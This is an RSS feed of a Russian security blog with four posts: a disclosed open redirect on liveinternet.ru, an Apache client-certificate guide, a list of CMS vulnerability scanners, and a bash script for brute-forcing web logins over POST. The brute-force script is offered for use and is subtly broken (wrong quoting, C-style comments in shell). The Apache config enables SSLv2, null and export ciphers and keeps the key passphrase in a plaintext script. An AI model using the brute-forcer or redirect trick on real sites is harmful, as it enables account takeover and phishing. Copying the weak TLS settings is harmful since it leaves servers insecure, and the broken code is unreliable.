<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>root@fox:~# &#187; Безопасность вебсайтов</title>
	<atom:link href="http://rootfox.com/blog/archives/category/webhack/feed" rel="self" type="application/rss+xml" />
	<link>http://rootfox.com/blog</link>
	<description>Администрирование, IT Security, Безопасность, Услуги</description>
	<lastBuildDate>Wed, 07 Apr 2010 10:09:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>LiveInternet bug</title>
		<link>http://rootfox.com/blog/archives/255</link>
		<comments>http://rootfox.com/blog/archives/255#comments</comments>
		<pubDate>Thu, 14 Jan 2010 21:43:39 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Безопасность вебсайтов]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=255</guid>
		<description><![CDATA[Обнаружил уязвимость на достаточно известном в рунете ресурсе www.liveinternet.ru. Заключается в том что можно отправить пользователя по необходимой нам ссылке, ссылаясь как бы на этот ресурс. Примерно так же как и на сервисах сокращения ссылок. Но здесь уязвимость интересна в первую очередь тем, что можно скрыть истиный адрес ресурса на который ссылаются, что немаловажно например [...]]]></description>
			<content:encoded><![CDATA[<p>Обнаружил уязвимость на достаточно известном в рунете ресурсе www.liveinternet.ru. Заключается в том что можно отправить пользователя по необходимой нам ссылке, ссылаясь как бы на этот ресурс. Примерно так же как и на сервисах сокращения ссылок. Но здесь уязвимость интересна в первую очередь тем, что можно скрыть истиный адрес ресурса на который ссылаются, что немаловажно например для спамера или проведения атаки на браузер. Пользователь видит адрес, который вроде бы ему знаком и переходит.</p>
<p>Например:</p>
<pre><code>
http://www.liveinternet.ru/click?1113984360/
</code></pre>
<p>1113984360 &#8211; это ip адрес  66.102.13.104 (google.com) в десятичном представлении.</p>
<p>Странно что спамеры еще не используют этот трюк.</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/255/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Настройка авторизации на веб-сервере Apache по сертификату пользователя.</title>
		<link>http://rootfox.com/blog/archives/242</link>
		<comments>http://rootfox.com/blog/archives/242#comments</comments>
		<pubDate>Thu, 10 Dec 2009 15:44:02 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Безопасность вебсайтов]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=242</guid>
		<description><![CDATA[Исходные данные:
OC &#8211; FreeBSD или Linux, в наличии должен быть openssl
Веб-сервер &#8211; Apache 2.2 + mod_ssl (http://test.lan)
Необходимо:
Настроить SSL &#8211; издать сертификаты, настроить веб-сервер
При доступе к определенной директории веб-сервер должен запрашивать авторизацию по сертификату клиента.
Исходим из того что веб-сервер корректно установлен, у хоста есть полное FQDN и он корректно резолвится и доступен извне по портам 80/tcp [...]]]></description>
			<content:encoded><![CDATA[<p>Исходные данные:<br />
OC &#8211; FreeBSD или Linux, в наличии должен быть openssl<br />
Веб-сервер &#8211; Apache 2.2 + mod_ssl (http://test.lan)</p>
<p>Необходимо:<br />
Настроить SSL &#8211; издать сертификаты, настроить веб-сервер<br />
При доступе к определенной директории веб-сервер должен запрашивать авторизацию по сертификату клиента.</p>
<p>Исходим из того что веб-сервер корректно установлен, у хоста есть полное FQDN и он корректно резолвится и доступен извне по портам 80/tcp и 443/tcp.</p>
<p>В первую очередь необходимо будет:<br />
1) Настроить свой CA (Certificate Authority) для издания сертификатов веб-сервера и клиентов.<br />
2) Сгенерировать ключ и сертификат веб-сервера<br />
3) Сгенерировать и импортировать ключи и сертификаты веб-клиентов.</p>
<p>Приступим:<br />
<span id="more-242"></span><br />
Создадим директорию доступную только суперпользователю:</p>
<pre><code>
mkdir /CA
chmod 700 /CA
cd /CA
</code></pre>
<p>Сгенерируем закрытый ключ CA:</p>
<pre><code>
openssl genrsa -des3 -out ca.key 2048
Сгенерируем сертификат CA:
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt
openssl x509 -in ca.crt -text -noout
</code></pre>
<p>Сгенерируем закрытый ключ вебсервера:</p>
<pre><code>
openssl genrsa -des3 -out webserver.key 1024
</code></pre>
<p>Сгенерируем запрос на сертификат вебсервера:</p>
<pre><code>
openssl req -new -key webserver.key -out webserver.csr
</code></pre>
<p>Сгенерируем сертификат вебсервера:</p>
<pre><code>
openssl x509 -req -in webserver.csr -out webserver.crt -sha1 -CA ca.crt -CAkey ca.key -CAcreateserial -days 3650
openssl x509 -in webserver.crt -text -noout
</code></pre>
<p>Защитим ключи от прочтения посторонними:</p>
<pre><code>
chmod 0400 *.key
</code></pre>
<p>Конфигурацию ssl я вынес из файла httpd.conf в файл httpd-ssl.conf,<br />
и указал в конфигурации httpd.conf:</p>
<pre><code>
Include etc/apache22/extra/httpd-ssl.conf
</code></pre>
<p>В файле httpd-ssl.conf внес следующие изменения:</p>
<pre><code>
#httpd-ssl.conf
Listen 443
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl    .crl
SSLPassPhraseDialog builtin
SSLSessionCache        "shmcb:/var/run/ssl_scache(512000)"
SSLSessionCacheTimeout  300
SSLMutex  "file:/var/run/ssl_mutex"
&lt;VirtualHost _default_:443&gt;
DocumentRoot "/usr/local/www/apache22/data"
ServerName test.lan:443 #имя указаное в Common Name сертификата веб-сервера
ServerAdmin you@example.com
ErrorLog "/var/log/httpd-error-ssl.log"
TransferLog "/var/log/httpd-access-ssl.log"
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/CA/webserver.crt"
SSLCertificateKeyFile "/CA/webserver.key"
SSLCertificateChainFile "/CA/ca.crt"
SSLCACertificateFile "/CA/ca.crt"

&lt;FilesMatch "\.(cgi|shtml|phtml|php)$"&gt;
 SSLOptions +StdEnvVars
&lt;/FilesMatch&gt;
&lt;Directory "/usr/local/www/apache22/cgi-bin"&gt;
 SSLOptions +StdEnvVars
&lt;/Directory&gt;

BrowserMatch ".*MSIE.*" \
 nokeepalive ssl-unclean-shutdown \
 downgrade-1.0 force-response-1.0

CustomLog "/var/log/httpd-ssl_request.log" \
 "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

&lt;/VirtualHost&gt;</code></pre>
<p>Запускаем вебсервер, проверяем работает ли, заходим по https, смотрим. Если все работает идем далее:<br />
Издадим сертификат пользователя, настроим доступ к определенной веб-папке по сертификату.</p>
<p>Внесем изменения в httpd-ssl.conf, добавим строки:</p>
<pre><code>
&lt;Directory /usr/local/www/apache22/data/ssl&gt; #путь к веб-корню у меня /usr/local/www/apache22/data/
 SSLVerifyClient require
 SSLVerifyDepth 1
&lt;/Directory&gt;</code></pre>
<p>Издадим сертификат пользователя:</p>
<pre><code>
cd /CA
openssl genrsa -des3 -out fox.key 1024
openssl req -new -key fox.key -out fox.csr
openssl x509 -req -in fox.csr -out fox.crt -sha1 -CA ca.crt -CAkey ca.key -CAcreateserial -days 3650
openssl pkcs12 -export -in fox.crt -inkey fox.key -name "fox cert" -out fox.p12
</code></pre>
<p>В процессе создания и импорта закрытого ключа, запрашивается пароль &#8211; необходимо внести. Затем переносим файл.p12 на ту систему где планируется его использование, переносим его либо в личное хранилище сертификатов, если ОС клиента &#8211; Windows, либо импортируем в хранилище Firefox`a, либо заливаем в аппаратный ключ или смарткарту.<br />
Проверям. Пользуемся.</p>
<p>P.S. Немного сумбурно описал, но это в первую очередь для себя =)</p>
<p>P.P.S: Есть такой момент &#8211; при перезапуске вебсервера будет требоваться ввести пароль закрытого ключа вебсервера в консоли. Это определяется параметром</p>
<pre><code>SSLPassPhraseDialog builtin
</code></pre>
<p>Решается следующим образом: в каталоге доступном только пользователю root создаем скрипт.</p>
<p>У меня, например, /root/webpass.sh</p>
<pre><code>
#!/bin/sh
echo "somepassword"
</code></pre>
<p>И в конфиге прописал:</p>
<pre><code>SSLPassPhraseDialog exec:/root/webpass.sh
</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/242/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Сканеры уязвимостей веб-приложений</title>
		<link>http://rootfox.com/blog/archives/171</link>
		<comments>http://rootfox.com/blog/archives/171#comments</comments>
		<pubDate>Sat, 19 Sep 2009 23:35:25 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Безопасность вебсайтов]]></category>
		<category><![CDATA[Инструмент аудитора]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=171</guid>
		<description><![CDATA[Как бы не были сильны различные сканеры веб-приложений, например Webinspect и прочие, конкретные сканеры под конкретные движки знают свое дело куда лучше. 
Немного полазив по вебу нашел несколько:
Сканер уязвимостей Wordpress &#8211; http://blogsecurity.net/wordpress/tools/wp-scanner
Сканер уязвимостей Drupal &#8211; http://raz0r.name/releases/drupal-vulnerability-scanner/
Сканер уязвимостей Joomla &#8211; http://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project
Попробовал все три. Результаты понравились. Рекомендую.
]]></description>
			<content:encoded><![CDATA[<p>Как бы не были сильны различные сканеры веб-приложений, например Webinspect и прочие, конкретные сканеры под конкретные движки знают свое дело куда лучше. </p>
<p>Немного полазив по вебу нашел несколько:</p>
<p>Сканер уязвимостей Wordpress &#8211; http://blogsecurity.net/wordpress/tools/wp-scanner<br />
Сканер уязвимостей Drupal &#8211; http://raz0r.name/releases/drupal-vulnerability-scanner/<br />
Сканер уязвимостей Joomla &#8211; http://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project</p>
<p>Попробовал все три. Результаты понравились. Рекомендую.</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/171/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bash-скрипт для брута web-авторизации методом post</title>
		<link>http://rootfox.com/blog/archives/76</link>
		<comments>http://rootfox.com/blog/archives/76#comments</comments>
		<pubDate>Sun, 12 Apr 2009 12:26:33 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Безопасность вебсайтов]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=76</guid>
		<description><![CDATA[Авторизация производится методом POST после успешной авторизации сервер меняет куки.
Условия заданы &#8211; приступим:

#!/bin/sh /*стандартный заголовок*/
# для задания файла паролей используйте команду > sh наш_скрипт файл_паролей
if [ -z $1 ]; then
        echo -e "\n\t Использование: $0 password file"
        exit 1;
fi
PASSWORDS='/bin/cat $1'
USER=admin
# если [...]]]></description>
			<content:encoded><![CDATA[<p>Авторизация производится методом POST после успешной авторизации сервер меняет куки.<br />
Условия заданы &#8211; приступим:</p>
<p><code><br />
#!/bin/sh /*стандартный заголовок*/<br />
# для задания файла паролей используйте команду > sh наш_скрипт файл_паролей<br />
if [ -z $1 ]; then<br />
        echo -e "\n\t Использование: $0 password file"<br />
        exit 1;<br />
fi<br />
PASSWORDS='/bin/cat $1'<br />
USER=admin<br />
# если требуется кука<br />
COOKIE1="blabla=blablabla;" /*измените на то что вам необходимо*/<br />
CMD="/usr/bin/curl \<br />
    -b $COOKIE1 \<br />
    -d user=$USER \<br />
    -c cookies.txt \  /*а сюда упадут куки после удачной авторизации*/<br />
    --url http://localhost/login.php" /*путь к файлу паролей*/<br />
for PASS in $PASSWORDS; do<br />
    # формируем необходимые заголовки<br />
    '$CMD \<br />
        -H 'User-Agent: Mozilla/4.0' \<br />
        -H 'Host: localhost' \<br />
        -d passwd=$PASS'<br />
    # проверим не угадан ли пароль<br />
    RES='grep -v $COOKIE cookies.txt'<br />
    if [ -n '$RES' ]; then<br />
        echo -e "found $RES with $USER : $PASS\n";<br />
        exit 0;<br />
    fi<br />
done<br />
 </code><br />
Как то вот так..</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/76/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
